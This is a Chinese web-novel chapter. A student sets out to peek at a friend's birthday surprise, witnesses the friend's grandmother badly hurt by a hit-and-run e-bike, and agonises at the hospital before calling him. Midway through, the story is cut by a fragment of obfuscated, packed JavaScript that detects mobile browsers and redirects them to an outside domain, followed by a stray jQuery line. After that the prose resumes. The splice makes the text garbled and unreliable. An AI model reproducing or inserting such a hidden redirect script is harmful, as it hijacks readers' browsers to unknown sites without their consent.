师萌盘腿坐在床上，双手捧着胡孟寻给他的会员卡翻来覆去地看。
卡片是深蓝色的，烫金的店名在灯光下闪闪发亮——星空手作馆。
原来是在这里准备的啊！
他的指尖轻轻摩挲着卡片边缘。
理智告诉他：现在应该乖乖等到后天，装作什么都不知道的样子，在凃与知带他去的时候露出最真实的惊喜表情。
但……
“就看一眼！”师萌突然从床上弹起来，眼睛亮得惊人，“我就远远地看一眼，绝对不会被发现的！”
他光着脚跳到衣柜前，开始翻箱倒柜地找侦查装备：鸭舌帽、口罩、墨镜……最后甚至翻出了一条从来没戴过的围巾。
热怕什么！没什么好怕的！
“这样应该认不出来了吧？”师萌对着镜子左照右照，活像个蹩脚的特务。
围巾缠到第二圈时，他突然停住了。
“等等……”镜子里的人慢慢涨红了脸，“我这样是不是太夸张了？”
师萌把脸埋进围巾里，闷闷地发出了一声哀鸣。
明明是想给凃与知一个表现的机会，结果自己却先忍不住了。
不过……也没事吧，就……就去门口转一圈。
他重新抬起头，对着镜子里的自己郑重其事地点点头：“绝对不进去，绝对不偷看，绝对不影响凃与知的计划！”
说完又心虚地补充：“我就是……就是先熟悉一下路线！对，熟悉路线！万一后天迷路了怎么办！”
这个理由简直完美到连他自己都要信了。
第二天，师萌蹑手蹑脚地溜出家门，走到半路又折返回来，抓起桌上的会员卡塞进口袋。
万一需要伪装成普通顾客呢？
夏日的微风拂过脸颊，师萌的心跳随着每一步靠近手作馆而加速。他已经在脑海里排练了无数种“偶遇”凃与知时的应对方案：
方案A：假装没看见，迅速溜走
方案B：用变声器说话
方案C：直接扑上去抱住对方
就在他胡思乱想的时候，拐角处突然传来熟悉的声音。师萌慌忙一躲，却发现声音虽熟悉，却不是凃与知。
是他奶奶！
那个佝偻的背影正穿着蓝布衫，灰白头发用黑色发夹别得一丝不苟，正踮着脚在水果摊前挑香蕉。他眼睛一亮，三步并作两步跑过去。
“奶奶！”他像只欢快的小狗似的蹦到老人跟前，额前的碎发被汗黏成一绺一绺的，“您怎么在这儿呀？”
老人眯着眼转身，皱纹里立刻漾出笑意。
“是小萌啊，这穿的，我差点就认不出了！”她举起印着超市logo的塑料袋，得意地晃了晃，“这不是在那中奖了嘛，想着再来碰碰运气！”塑料袋里躺着三根打折的香蕉，表皮已经泛起黑斑。
师萌看着老人晒得通红的脸颊，突然鼻子发酸。
他想起那台崭新的空调，想起奶奶中奖时发亮的眼睛，喉头滚动两下：“奶奶，天好热呀……”
“馋猫！”奶奶笑出一排不齐的牙，枯瘦的手指伸进塑料袋，“想吃香蕉是不是？”
她低头翻找最饱满的那根，洗得发白的袖口滑落，露出手腕上青紫的输液痕迹。
就在这一瞬间。
奶奶的布鞋绊到突起的砖缝，身子猛地前倾。师萌慌忙去扶，手掌刚碰到老人后背，突然看见一辆电动车极速驶过。
师萌看见奶奶的银发在阳光下划出弧线，看见塑料袋腾空而起，香蕉像慢动作般飞散开来。
他伸出的手只抓到一把燥热的空气。
“砰！”
沉闷的撞击声。电动车后视镜刮过奶奶的腰侧，老人像片枯叶般轻飘飘地跌在原地。装着止痛贴的塑料袋被车轮碾过，发出一阵爆裂声。
师萌的指尖还维持着搀扶的姿势。
他看见奶奶的蓝布衫在路上铺开，有温热的液体从老人发际线渗出，慢慢洇进地缝里。
完了。
“奶...奶？”
远处传来电动车慌不择路的逃窜声，而老人绣着梅花的衣领正一点点被鲜血染成紫黑色。
师萌的笑容凝固在脸上。
奶奶试图撑起身子，枯枝般的手臂却突然一软。
“别动！”师萌终于找回自己的声音，膝盖重重磕在地上。
“没事……没事啊……”奶奶气若游丝地拍拍他的手背，掌心的老茧刮过他手背，“奶奶就是…有点晕…”话音未落，一口鲜血突然呕在师萌雪白的球鞋上。
手机从师萌色口袋里滑出来，摔在地上。他跪下去捡，发现自己的手指抖得120三个数字按了三次才按对。
没事的，奶奶会没事的。
他像是在说服谁似的自言自语，终于拨通了120。说到“老年人摔倒在路口”时，他突然发现奶奶的耳朵里流出一道细细的血线。
救护车的鸣笛声由远及近。
师萌机械地跟着医护人员跑，看着他们给奶奶戴上氧气面罩。
有个护士问他是不是家属，他张了张嘴，突然想起什么似的掏出手机，欲言又止。
凃与知的号码在通讯录最顶端，手指悬在拨号键上方时，师萌突然犹豫了。
“先...先去医院。”他最终没有按下那个号码，跟着跳上了救护车。
医院走廊的灯光白得瘆人。师萌坐在塑料椅上，盯着急救室门上的红灯。
消毒水味混着某种金属的气息往鼻子里钻，他突然感受到了刺骨的凉。
“患者家属？”穿白大褂的医生突然出现。
师萌猛地站起来，膝盖撞到铁质扶手。他听见医生说什么“陈旧性脑损伤”“脑疝”，听见“情况很危机”，听见“呼叫脑外科二线医生，请立即来10号手术室支援”。
脑疝……
师萌知道的，就算身体硬朗的老人存活率也不到百分之四十。
走廊尽头的窗户投进一束阳光，正好照在师萌鞋尖前的地板上。
手机突然震动起来。
屏幕的光在昏暗的走廊里刺得眼睛发疼，是凃与知发来的消息：
[礼物做好了]
后面跟着一个小星星的表情。
师萌看着那个活泼的符号，突然弯腰干呕起来。
他蜷缩在急救室外的长椅上，拇指悬在凃与知的号码上方，迟迟没有落下。
指腹离屏幕只有一毫米。
这一毫米里挤满了太多东西：凃与知、奶奶……
都怪他嘴馋那香蕉！
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353870|183612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“……”
师萌喉结滚动了一下，咽下的全是血腥味。
他想起凃与知说“家里很凉快”时眼底的温柔，想起老人枯瘦的手指抚过自己脸颊的温度……
现在他要亲手打碎这一切。
他的拇指微微发抖。
如果按下这个键，电话那头的凃与知会是什么表情？
是像上次受伤时那样抿紧嘴唇，还是像发现他偷偷往对方课本上画小猫表情时那样无奈地挑眉？
都不会是的，从他开口后，凃与知的表情将无法预料。
师萌突然攥紧了手机，他不敢想凃与知听到消息后的样子。
那个总是安静地替他挡太阳的少年，那个会在半夜回他“热醒了”的少年，那个……一直努力生活的少年。
走廊尽头的电子钟跳了一格。
这个时间凃与知会在干什么？
可能正站在公交站台等车，书包里还装着准备送给他的生日礼物，正准备到星空手作馆完成最后的布置。
而现在，他要让那双手再也捧不稳礼物盒。
悬空的拇指终于落了下去。在碰到屏幕前，一滴温热的液体先砸在了通话键上。
“喂？”
电话接通的瞬间，凃与知的声音混着街道的嘈杂声传来，背景音里还有公交车到站的提示音。
师萌想说话，却发现所有准备好的话都卡在了喉咙里。他只能死死咬住下唇，直到尝到铁锈味。
原来人在极度悲伤时是真的会失声的。
“……师萌？你怎么了？”
要怎么说？
说“我没怎么”吗？
他盯着急救室门上亮着的灯，想象电话接通后的场景。凃与知可能会像往常那样先轻轻“嗯”一声，等他开口。然后呢？
你奶奶情况很不好了？
因为我想吃香蕉？
被我害的？
师萌看着自己映在玻璃上的影子，那团模糊的轮廓突然裂开成两个：一个是此刻浑身发抖的自己，另一个是即将接到噩耗的凃与知。
“医院。”师萌听见自己说，“你来第三医院。现在。”
最后一个字还没说完，喉头突然涌上一股腥甜。他低头看着掌心的血渍，恍惚想起那日奶奶对他说的话：“你们要互相照应着啊。”
而现在，那个人可能……要离开了。
医院的走廊长得没有尽头。
师萌盯着自己鞋尖上干涸的血迹，消毒水的气味混着某种说不清的腐朽味道，让这个世界蒙上一层灰色的滤镜。
远处传来急促的脚步声，在空荡的走廊里撞出回音。
一下。
两下。
越来越近。
师萌的指甲深深陷进掌心，却感觉不到疼。他想起凃与知曾经说过，奶奶是他最后的亲人了。而现在……
脚步声突然停了。
空气凝固了一秒。
“师萌。”
荧光灯下，少年握着手机站在那里，胸口剧烈起伏着，额前的碎发被汗水浸透。他的目光从师萌哭花的脸，慢慢移向抢救室大门上方刚刚熄灭的灯。
手机从掌心滑落，砸在地上发出闷响。
现在他们之间连最后那毫米的距离也没有。